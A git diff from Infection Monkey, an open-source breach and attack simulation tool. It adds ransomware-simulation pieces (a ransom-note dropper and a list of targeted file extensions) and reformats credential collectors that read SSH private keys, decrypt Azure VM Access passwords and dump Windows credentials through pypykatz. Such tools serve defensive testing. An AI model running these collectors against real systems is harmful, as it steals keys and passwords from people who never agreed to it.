`hmsdd. + --. `dNNNNNNds/:--:/sdNNNNNNd` .-- + :NNs/oydmNNNNNNNNmdyo/sNm: + .+hNN/ `.sNNs.` /NNy+. + :my/dm. -NN- .md/ym- + .ddymy `yNNy` `ymydd. + .-. yN//Ny .-. + :dmmd: + +This is NOT a real ransomware attack. + +Infection Monkey is an open-source breach and attack simulation (BAS) platform. The files in this +directory have been manipulated as part of a ransomware simulation. If you've discovered this file +and are unsure about how to proceed, please contact your administrator. + +For more information about Infection Monkey, see https://www.guardicore.com/infectionmonkey. + +For more information about Infection Monkey's ransomware simulation, see +https://www.guardicore.com/infectionmonkey/docs/reference/ransomware. diff --git a/monkey/infection_monkey/ransomware/readme_dropper.py b/monkey/infection_monkey/ransomware/readme_dropper.py new file mode 100644 index 000000000..a3037e76a --- /dev/null +++ b/monkey/infection_monkey/ransomware/readme_dropper.py @@ -0,0 +1,22 @@ +import logging +import shutil +from pathlib import Path + +LOG = logging.getLogger(__name__) + + +def leave_readme(src: Path, dest: Path): + if dest.exists(): + LOG.warning(f"{dest} already exists, not leaving a new README.txt") + return + + _copy_readme_file(src, dest) + + +def _copy_readme_file(src: Path, dest: Path): + LOG.info(f"Leaving a ransomware README file at {dest}") + + try: + shutil.copyfile(src, dest) + except Exception as ex: + LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/infection_monkey/ransomware/targeted_file_extensions.py b/monkey/infection_monkey/ransomware/targeted_file_extensions.py new file mode 100644 index 000000000..6c769ad91 --- /dev/null +++ b/monkey/infection_monkey/ransomware/targeted_file_extensions.py @@ -0,0 +1,76 @@ +TARGETED_FILE_EXTENSIONS = { + ".3ds", + ".7z", + ".accdb", + ".ai", + ".asp", + ".aspx", + ".avhd", + ".avi", + ".back", + ".bak", + ".c", + ".cfg", + ".conf", + ".cpp", + ".cs", + ".ctl", + ".dbf", + ".disk", + ".djvu", + ".doc", + ".docx", + ".dwg", + ".eml", + ".fdb", + ".giff", + ".gz", + ".h", + ".hdd", + ".jpg", + ".jpeg", + ".kdbx", + ".mail", + ".mdb", + ".mpg", + ".mpeg", + ".msg", + ".nrg", + ".ora", + ".ost", + ".ova", + ".ovf", + ".pdf", + ".php", + ".pmf", + ".png", + ".ppt", + ".pptx", + ".pst", + ".pvi", + ".py", + ".pyc", + ".rar", + ".rtf", + ".sln", + ".sql", + ".tar", + ".tiff", + ".txt", + ".vbox", + ".vbs", + ".vcb", + ".vdi", + ".vfd", + ".vmc", + ".vmdk", + ".vmsd", + ".vmx", + ".vsdx", + ".vsv", + ".work", + ".xls", + ".xlsx", + ".xvd", + ".zip", +} diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md index fa192c33e..d52091595 100644 --- a/monkey/infection_monkey/readme.md +++ b/monkey/infection_monkey/readme.md @@ -14,16 +14,16 @@ The monkey is composed of three separate parts. 1. Install python 3.7.4 and choose **ADD to PATH** option when installing. Download and install from: - + In case you still need to add python directories to path: - - Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different) + - Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different) `setx /M PATH "%PATH%;C:\Python37;C:\Python37\Scripts` - Close the console, make sure you execute all commands in a new cmd console from now on. 2. Install further dependencies - if not installed, install Microsoft Visual C++ 2017 SP1 Redistributable Package - 32bit: - 64bit: -3. Download the dependent python packages using +3. Download the dependent python packages using `pip install -r requirements.txt` 4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe: @@ -50,6 +50,7 @@ Tested on Ubuntu 16.04. 2. Install the python packages listed in requirements.txt using pip - `cd [code location]/infection_monkey` + - `python3.7 -m pipenv lock -r --dev > requirements.txt` - `python3.7 -m pip install -r requirements.txt` 3. Build Sambacry binaries @@ -63,8 +64,8 @@ Tested on Ubuntu 16.04. 5. To build, run in terminal: - `cd [code location]/infection_monkey` - `chmod +x build_linux.sh` - - `./build_linux.sh` - + - `pipenv run ./build_linux.sh` + output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python ### Sambacry @@ -94,3 +95,24 @@ You can either build them yourself or download pre-built binaries. - Available here: - 32bit: - 64bit: + + + +### Troubleshooting + +Some of the possible errors that may come up while trying to build the infection monkey: + +#### Linux + +When committing your changes for the first time, you may encounter some errors thrown by the pre-commit hooks. This is most likely because some python dependencies are missing from your system. +To resolve this, use `pipenv` to create a `requirements.txt` for both the `infection_monkey/` and `monkey_island/` requirements and install it with `pip`. + + - `cd [code location]/infection_monkey` + - `python3.7 -m pipenv lock -r --dev > requirements.txt` + - `python3.7 -m pip install -r requirements.txt` + + and + + - `cd [code location]/monkey_island` + - `python3.7 -m pipenv lock -r --dev > requirements.txt` + - `python3.7 -m pip install -r requirements.txt` diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt deleted file mode 100644 index 069d1ce07..000000000 --- a/monkey/infection_monkey/requirements.txt +++ /dev/null @@ -1,21 +0,0 @@ -cryptography==2.5 -WinSys-3.x>=0.5.2 -cffi>=1.14 -ecdsa==0.15 -git+https://github.com/guardicore/pyinstaller -impacket>=0.9 -ipaddress>=1.0.23 -netifaces>=0.10.9 -odict==1.7.0 -paramiko>=2.7.1 -psutil>=5.7.0 -pycryptodome==3.9.8 -pyftpdlib==1.5.6 -pymssql<3.0 -pypykatz==0.3.12 -pysmb==1.2.5 -requests>=2.24 -wmi==1.5.1 ; sys_platform == 'win32' -urllib3==1.25.8 -git+https://github.com/guardicode/ScoutSuite -simplejson diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py index 3977d2444..b4c98e001 100644 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ b/monkey/infection_monkey/system_info/SSH_info_collector.py @@ -6,8 +6,6 @@ import pwd from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem -__author__ = 'VakarisZ' - LOG = logging.getLogger(__name__) @@ -16,7 +14,7 @@ class SSHCollector(object): SSH keys and known hosts collection module """ - default_dirs = ['/.ssh/', '/'] + default_dirs = ["/.ssh/", "/"] @staticmethod def get_info(): @@ -37,64 +35,78 @@ class SSHCollector(object): known_hosts: contents of known_hosts file(all the servers keys are good for, possibly hashed) """ - return {'name': name, 'home_dir': home_dir, 'public_key': None, - 'private_key': None, 'known_hosts': None} + return { + "name": name, + "home_dir": home_dir, + "public_key": None, + "private_key": None, + "known_hosts": None, + } @staticmethod def get_home_dirs(): - root_dir = SSHCollector.get_ssh_struct('root', '') - home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() - if x.pw_dir.startswith('/home')] + root_dir = SSHCollector.get_ssh_struct("root", "") + home_dirs = [ + SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) + for x in pwd.getpwall() + if x.pw_dir.startswith("/home") + ] home_dirs.append(root_dir) return home_dirs @staticmethod def get_ssh_files(usr_info): for info in usr_info: - path = info['home_dir'] + path = info["home_dir"] for directory in SSHCollector.default_dirs: if os.path.isdir(path + directory): try: current_path = path + directory # Searching for public key - if glob.glob(os.path.join(current_path, '*.pub')): + if glob.glob(os.path.join(current_path, "*.pub")): # Getting first file in current path with .pub extension(public key) - public = (glob.glob(os.path.join(current_path, '*.pub'))[0]) + public = glob.glob(os.path.join(current_path, "*.pub"))[0] LOG.info("Found public key in %s" % public) try: with open(public) as f: - info['public_key'] = f.read() - # By default private key has the same name as public, only without .pub + info["public_key"] = f.read() + # By default private key has the same name as public, + # only without .pub private = os.path.splitext(public)[0] if os.path.exists(private): try: with open(private) as f: # no use from ssh key if it's encrypted private_key = f.read() - if private_key.find('ENCRYPTED') == -1: - info['private_key'] = private_key + if private_key.find("ENCRYPTED") == -1: + info["private_key"] = private_key LOG.info("Found private key in %s" % private) - T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send() + T1005Telem( + ScanStatus.USED, "SSH key", "Path: %s" % private + ).send() else: continue except (IOError, OSError): pass # By default known hosts file is called 'known_hosts' - known_hosts = os.path.join(current_path, 'known_hosts') + known_hosts = os.path.join(current_path, "known_hosts") if os.path.exists(known_hosts): try: with open(known_hosts) as f: - info['known_hosts'] = f.read() + info["known_hosts"] = f.read() LOG.info("Found known_hosts in %s" % known_hosts) except (IOError, OSError): pass # If private key found don't search more - if info['private_key']: + if info["private_key"]: break except (IOError, OSError): pass except OSError: pass - usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts'] - or info['public_key']] + usr_info = [ + info + for info in usr_info + if info["private_key"] or info["known_hosts"] or info["public_key"] + ] return usr_info diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index a5502a2c0..28903aea4 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -19,8 +19,6 @@ except NameError: # noinspection PyShadowingBuiltins WindowsError = psutil.AccessDenied -__author__ = 'uri' - class OperatingSystem(IntEnum): Windows = 0 @@ -29,16 +27,19 @@ class OperatingSystem(IntEnum): class SystemInfoCollector(object): """ - A class that checks the current operating system and calls system information collecting modules accordingly + A class that checks the current operating system and calls system information collecting + modules accordingly """ def __init__(self): self.os = SystemInfoCollector.get_os() if OperatingSystem.Windows == self.os: from .windows_info_collector import WindowsInfoCollector + self.collector = WindowsInfoCollector() else: from .linux_info_collector import LinuxInfoCollector + self.collector = LinuxInfoCollector() def get_info(self): @@ -76,11 +77,10 @@ class InfoCollector(object): :return: None. Updates class information """ LOG.debug("Reading subnets") - self.info['network_info'] = \ - { - 'networks': get_host_subnets(), - 'netstat': NetstatCollector.get_netstat_info() - } + self.info["network_info"] = { + "networks": get_host_subnets(), + "netstat": NetstatCollector.get_netstat_info(), + } def get_azure_info(self): """ @@ -91,11 +91,12 @@ class InfoCollector(object): # noinspection PyBroadException try: from infection_monkey.config import WormConfiguration + if AZURE_CRED_COLLECTOR not in WormConfiguration.system_info_collector_classes: return LOG.debug("Harvesting creds if on an Azure machine") azure_collector = AzureCollector() - if 'credentials' not in self.info: + if "credentials" not in self.info: self.info["credentials"] = {} azure_creds = azure_collector.extract_stored_credentials() for cred in azure_creds: @@ -105,11 +106,12 @@ class InfoCollector(object): self.info["credentials"][username] = {} # we might be losing passwords in case of multiple reset attempts on same username # or in case another collector already filled in a password for this user - self.info["credentials"][username]['password'] = password - self.info["credentials"][username]['username'] = username + self.info["credentials"][username]["password"] = password + self.info["credentials"][username]["username"] = username if len(azure_creds) != 0: self.info["Azure"] = {} - self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds] + self.info["Azure"]["usernames"] = [cred[0] for cred in azure_creds] except Exception: - # If we failed to collect azure info, no reason to fail all the collection. Log and continue. + # If we failed to collect azure info, no reason to fail all the collection. Log and + # continue. LOG.error("Failed collecting Azure info.", exc_info=True) diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py index bb0240198..8d9f5cd7a 100644 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ b/monkey/infection_monkey/system_info/azure_cred_collector.py @@ -9,8 +9,6 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem from infection_monkey.telemetry.attack.t1064_telem import T1064Telem -__author__ = 'danielg' - LOG = logging.getLogger(__name__) @@ -21,7 +19,9 @@ class AzureCollector(object): def __init__(self): if sys.platform.startswith("win"): - self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings" + self.path = ( + "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings" + ) self.extractor = AzureCollector.get_pass_windows else: self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config" @@ -46,21 +46,27 @@ class AzureCollector(object): """ linux_cert_store = "/var/lib/waagent/" try: - json_data = json.load(open(filepath, 'r')) + json_data = json.load(open(filepath, "r")) # this is liable to change but seems to be stable over the last year - protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings'] - cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint'] + protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"] + cert_thumbprint = json_data["runtimeSettings"][0]["handlerSettings"][ + "protectedSettingsCertThumbprint" + ] base64_command = """openssl base64 -d -a""" priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint) - b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE) + b64_proc = subprocess.Popen( + base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE + ) b64_result = b64_proc.communicate(input=protected_data + "\n")[0] - decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path - decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE) + decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path + decrypt_proc = subprocess.Popen( + decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE + ) decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] decrypt_data = json.loads(decrypt_raw) - T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() - T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send() - return decrypt_data['username'], decrypt_data['password'] + T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, "Bash scripts used to extract azure credentials.").send() + return decrypt_data["username"], decrypt_data["password"] except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") return None @@ -68,7 +74,9 @@ class AzureCollector(object): LOG.warning("Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: - LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data") + LOG.warning( + "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" + ) return None @staticmethod @@ -78,28 +86,37 @@ class AzureCollector(object): :return: Username,password """ try: - json_data = json.load(open(filepath, 'r')) + json_data = json.load(open(filepath, "r")) # this is liable to change but seems to be stable over the last year - protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings'] - username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName'] + protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"] + username = json_data["runtimeSettings"][0]["handlerSettings"]["publicSettings"][ + "UserName" + ] # we're going to do as much of this in PS as we can. - ps_block = ";\n".join([ - '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null', - '$base64 = "%s"' % protected_data, - "$content = [Convert]::FromBase64String($base64)", - "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms", - "$env.Decode($content)", - "$env.Decrypt()", - "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)", - "Write-Host $utf8content" # we want to simplify parsing - ]) - ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) + ps_block = ";\n".join( + [ + '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | ' + "Out-Null", + '$base64 = "%s"' % protected_data, + "$content = [Convert]::FromBase64String($base64)", + "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms", + "$env.Decode($content)", + "$env.Decrypt()", + "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)", + "Write-Host $utf8content", # we want to simplify parsing + ] + ) + ps_proc = subprocess.Popen( + ["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE + ) ps_out = ps_proc.communicate(ps_block)[0] # this is disgusting but the alternative is writing the file to disk... - password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] + password_raw = ps_out.split("\n")[-2].split(">")[1].split("$utf8content")[1] password = json.loads(password_raw)["Password"] - T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() - T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send() + T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send() + T1064Telem( + ScanStatus.USED, "Powershell scripts used to extract azure credentials." + ).send() return username, password except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") @@ -108,5 +125,7 @@ class AzureCollector(object): LOG.warning("Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: - LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data") + LOG.warning( + "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" + ) return None diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py index 94a7baf2a..074d19cc1 100644 --- a/monkey/infection_monkey/system_info/collectors/aws_collector.py +++ b/monkey/infection_monkey/system_info/collectors/aws_collector.py @@ -4,7 +4,9 @@ from common.cloud.aws.aws_instance import AwsInstance from common.cloud.scoutsuite_consts import CloudProviders from common.common_consts.system_info_collectors_names import AWS_COLLECTOR from infection_monkey.network.tools import is_running_on_island -from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import scan_cloud_security +from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import ( + scan_cloud_security, +) from infection_monkey.system_info.system_info_collector import SystemInfoCollector logger = logging.getLogger(__name__) @@ -14,6 +16,7 @@ class AwsCollector(SystemInfoCollector): """ Extract info from AWS machines. """ + def __init__(self): super().__init__(name=AWS_COLLECTOR) @@ -28,10 +31,7 @@ class AwsCollector(SystemInfoCollector): info = {} if aws.is_instance(): logger.info("Machine is an AWS instance") - info = \ - { - 'instance_id': aws.get_instance_id() - } + info = {"instance_id": aws.get_instance_id()} else: logger.info("Machine is NOT an AWS instance") diff --git a/monkey/infection_monkey/system_info/collectors/process_list_collector.py b/monkey/infection_monkey/system_info/collectors/process_list_collector.py index cdb5bc045..12cdf8aeb 100644 --- a/monkey/infection_monkey/system_info/collectors/process_list_collector.py +++ b/monkey/infection_monkey/system_info/collectors/process_list_collector.py @@ -37,7 +37,8 @@ class ProcessListCollector(SystemInfoCollector): "full_image_path": process.exe(), } except (psutil.AccessDenied, WindowsError): - # we may be running as non root and some processes are impossible to acquire in Windows/Linux. + # we may be running as non root and some processes are impossible to acquire in + # Windows/Linux. # In this case we'll just add what we know. processes[process.pid] = { "name": "null", @@ -48,4 +49,4 @@ class ProcessListCollector(SystemInfoCollector): } continue - return {'process_list': processes} + return {"process_list": processes} diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index 79aabea56..ec8a5e488 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -15,18 +15,20 @@ logger = logging.getLogger(__name__) def scan_cloud_security(cloud_type: CloudProviders): try: results = run_scoutsuite(cloud_type.value) - if isinstance(results, dict) and 'error' in results and results['error']: - raise ScoutSuiteScanError(results['error']) + if isinstance(results, dict) and "error" in results and results["error"]: + raise ScoutSuiteScanError(results["error"]) send_scoutsuite_run_results(results) except (Exception, ScoutSuiteScanError) as e: logger.error(f"ScoutSuite didn't scan {cloud_type.value} security because: {e}") def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: - return ScoutSuite.api_run.run(provider=cloud_type, - aws_access_key_id=WormConfiguration.aws_access_key_id, - aws_secret_access_key=WormConfiguration.aws_secret_access_key, - aws_session_token=WormConfiguration.aws_session_token) + return ScoutSuite.api_run.run( + provider=cloud_type, + aws_access_key_id=WormConfiguration.aws_access_key_id, + aws_secret_access_key=WormConfiguration.aws_secret_access_key, + aws_session_token=WormConfiguration.aws_session_token, + ) def send_scoutsuite_run_results(run_results: BaseProvider): diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py index fb38f84c4..76ddeab5a 100644 --- a/monkey/infection_monkey/system_info/linux_info_collector.py +++ b/monkey/infection_monkey/system_info/linux_info_collector.py @@ -3,8 +3,6 @@ import logging from infection_monkey.system_info import InfoCollector from infection_monkey.system_info.SSH_info_collector import SSHCollector -__author__ = 'uri' - LOG = logging.getLogger(__name__) @@ -24,5 +22,5 @@ class LinuxInfoCollector(InfoCollector): """ LOG.debug("Running Linux collector") super(LinuxInfoCollector, self).get_info() - self.info['ssh_info'] = SSHCollector.get_info() + self.info["ssh_info"] = SSHCollector.get_info() return self.info diff --git a/monkey/infection_monkey/system_info/netstat_collector.py b/monkey/infection_monkey/system_info/netstat_collector.py index bd35f3126..9df4ef231 100644 --- a/monkey/infection_monkey/system_info/netstat_collector.py +++ b/monkey/infection_monkey/system_info/netstat_collector.py @@ -1,4 +1,5 @@ -# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py +# Inspired by Giampaolo Rodola's psutil example from +# https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py import logging import socket @@ -6,8 +7,6 @@ from socket import AF_INET, SOCK_DGRAM, SOCK_STREAM import psutil -__author__ = 'itay.mizeretz' - LOG = logging.getLogger(__name__) @@ -16,29 +15,28 @@ class NetstatCollector(object): Extract netstat info """ - AF_INET6 = getattr(socket, 'AF_INET6', object()) + AF_INET6 = getattr(socket, "AF_INET6", object()) proto_map = { - (AF_INET, SOCK_STREAM): 'tcp', - (AF_INET6, SOCK_STREAM): 'tcp6', - (AF_INET, SOCK_DGRAM): 'udp', - (AF_INET6, SOCK_DGRAM): 'udp6', + (AF_INET, SOCK_STREAM): "tcp", + (AF_INET6, SOCK_STREAM): "tcp6", + (AF_INET, SOCK_DGRAM): "udp", + (AF_INET6, SOCK_DGRAM): "udp6", } @staticmethod def get_netstat_info(): LOG.info("Collecting netstat info") - return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')] + return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind="inet")] @staticmethod def _parse_connection(c): - return \ - { - 'proto': NetstatCollector.proto_map[(c.family, c.type)], - 'local_address': c.laddr[0], - 'local_port': c.laddr[1], - 'remote_address': c.raddr[0] if c.raddr else None, - 'remote_port': c.raddr[1] if c.raddr else None, - 'status': c.status, - 'pid': c.pid - } + return { + "proto": NetstatCollector.proto_map[(c.family, c.type)], + "local_address": c.laddr[0], + "local_port": c.laddr[1], + "remote_address": c.raddr[0] if c.raddr else None, + "remote_port": c.raddr[1] if c.raddr else None, + "status": c.status, + "pid": c.pid, + } diff --git a/monkey/infection_monkey/system_info/system_info_collector.py b/monkey/infection_monkey/system_info/system_info_collector.py index ee4bb21e8..fe160de16 100644 --- a/monkey/infection_monkey/system_info/system_info_collector.py +++ b/monkey/infection_monkey/system_info/system_info_collector.py @@ -7,13 +7,17 @@ from infection_monkey.utils.plugins.plugin import Plugin class SystemInfoCollector(Plugin, metaclass=ABCMeta): """ - ABC for system info collection. See system_info_collector_handler for more info. Basically, to implement a new system info - collector, inherit from this class in an implementation in the infection_monkey.system_info.collectors class, and override - the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the collector to the configuration + ABC for system info collection. See system_info_collector_handler for more info. Basically, + to implement a new system info + collector, inherit from this class in an implementation in the + infection_monkey.system_info.collectors class, and override + the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the + collector to the configuration as well - see monkey_island.cc.services.processing.system_info_collectors for examples. See the Wiki page "How to add a new System Info Collector to the Monkey?" for a detailed guide. """ + def __init__(self, name="unknown"): self.name = name diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py index cc007ff86..c54286931 100644 --- a/monkey/infection_monkey/system_info/system_info_collectors_handler.py +++ b/monkey/infection_monkey/system_info/system_info_collectors_handler.py @@ -23,8 +23,10 @@ class SystemInfoCollectorsHandler(object): except Exception as e: # If we failed one collector, no need to stop execution. Log and continue. LOG.error("Collector {} failed. Error info: {}".format(collector.name, e)) - LOG.info("All system info collectors executed. Total {} executed, out of which {} collected successfully.". - format(len(self.collectors_list), successful_collections)) + LOG.info( + "All system info collectors executed. Total {} executed, out of which {} " + "collected successfully.".format(len(self.collectors_list), successful_collections) + ) SystemInfoTelem({"collectors": system_info_telemetry}).send() diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py index 96d3912e3..0bed5c7f8 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py @@ -2,13 +2,14 @@ import logging from typing import List from infection_monkey.system_info.windows_cred_collector import pypykatz_handler -from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials +from infection_monkey.system_info.windows_cred_collector.windows_credentials import ( + WindowsCredentials, +) LOG = logging.getLogger(__name__) class MimikatzCredentialCollector(object): - @staticmethod def get_creds(): creds = pypykatz_handler.get_windows_creds() diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py index ca146573f..23bcce771 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py @@ -3,11 +3,21 @@ from typing import Any, Dict, List, NewType from pypykatz.pypykatz import pypykatz -from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials +from infection_monkey.system_info.windows_cred_collector.windows_credentials import ( + WindowsCredentials, +) -CREDENTIAL_TYPES = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'dpapi_creds', - 'kerberos_creds', 'credman_creds', 'tspkg_creds'] -PypykatzCredential = NewType('PypykatzCredential', Dict) +CREDENTIAL_TYPES = [ + "msv_creds", + "wdigest_creds", + "ssp_creds", + "livessp_creds", + "dpapi_creds", + "kerberos_creds", + "credman_creds", + "tspkg_creds", +] +PypykatzCredential = NewType("PypykatzCredential", Dict) def get_windows_creds() -> List[WindowsCredentials]: @@ -19,7 +29,7 @@ def get_windows_creds() -> List[WindowsCredentials]: def _parse_pypykatz_results(pypykatz_data: Dict) -> List[WindowsCredentials]: windows_creds = [] - for session in pypykatz_data['logon_sessions'].values(): + for session in pypykatz_data["logon_sessions"].values(): windows_creds.extend(_get_creds_from_pypykatz_session(session)) return windows_creds @@ -32,7 +42,9 @@ def _get_creds_from_pypykatz_session(pypykatz_session: Dict) -> List[WindowsCred return windows_creds -def _get_creds_from_pypykatz_creds(pypykatz_creds: List[PypykatzCredential]) -> List[WindowsCredentials]: +def _get_creds_from_pypykatz_creds( + pypykatz_creds: List[PypykatzCredential], +) -> List[WindowsCredentials]: creds = _filter_empty_creds(pypykatz_creds) return [_get_windows_cred(cred) for cred in creds] @@ -42,27 +54,26 @@ def _filter_empty_creds(pypykatz_creds: List[PypykatzCredential]) -> List[Pypyka def _is_cred_empty(pypykatz_cred: PypykatzCredential): - password_empty = 'password' not in pypykatz_cred or not pypykatz_cred['password'] - ntlm_hash_empty = 'NThash' not in pypykatz_cred or not pypykatz_cred['NThash'] - lm_hash_empty = 'LMhash' not in pypykatz_cred or not pypykatz_cred['LMhash'] + password_empty = "password" not in pypykatz_cred or not pypykatz_cred["password"] + ntlm_hash_empty = "NThash" not in pypykatz_cred or not pypykatz_cred["NThash"] + lm_hash_empty = "LMhash" not in pypykatz_cred or not pypykatz_cred["LMhash"] return password_empty and ntlm_hash_empty and lm_hash_empty def _get_windows_cred(pypykatz_cred: PypykatzCredential): - password = '' - ntlm_hash = '' - lm_hash = '' - username = pypykatz_cred['username'] - if 'password' in pypykatz_cred: - password = pypykatz_cred['password'] - if 'NThash' in pypykatz_cred: - ntlm_hash = _hash_to_string(pypykatz_cred['NThash']) - if 'LMhash' in pypykatz_cred: - lm_hash = _hash_to_string(pypykatz_cred['LMhash']) - return WindowsCredentials(username=username, - password=password, - ntlm_hash=ntlm_hash, - lm_hash=lm_hash) + password = "" + ntlm_hash = "" + lm_hash = "" + username = pypykatz_cred["username"] + if "password" in pypykatz_cred: + password = pypykatz_cred["password"] + if "NThash" in pypykatz_cred: + ntlm_hash = _hash_to_string(pypykatz_cred["NThash"]) + if "LMhash" in pypykatz_cred: + lm_hash = _hash_to_string(pypykatz_cred["LMhash"]) + return WindowsCredentials( + username=username, password=password, ntlm_hash=ntlm_hash, lm_hash=lm_hash + ) def _hash_to_string(hash_: Any): diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py deleted file mode 100644 index 165b00cf2..000000000 --- a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py +++ /dev/null @@ -1,87 +0,0 @@ -from unittest import TestCase - -from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import _get_creds_from_pypykatz_session - - -class TestPypykatzHandler(TestCase): - # Made up credentials, but structure of dict should be roughly the same - PYPYKATZ_SESSION = { - 'authentication_id': 555555, 'session_id': 3, 'username': 'Monkey', - 'domainname': 'ReAlDoMaIn', 'logon_server': 'ReAlDoMaIn', - 'logon_time': '2020-06-02T04:53:45.256562+00:00', - 'sid': 'S-1-6-25-260123139-3611579848-5589493929-3021', 'luid': 123086, - 'msv_creds': [ - {'username': 'monkey', 'domainname': 'ReAlDoMaIn', - 'NThash': b'1\xb7 Dict: - return {'username': self.username, - 'password': self.password, - 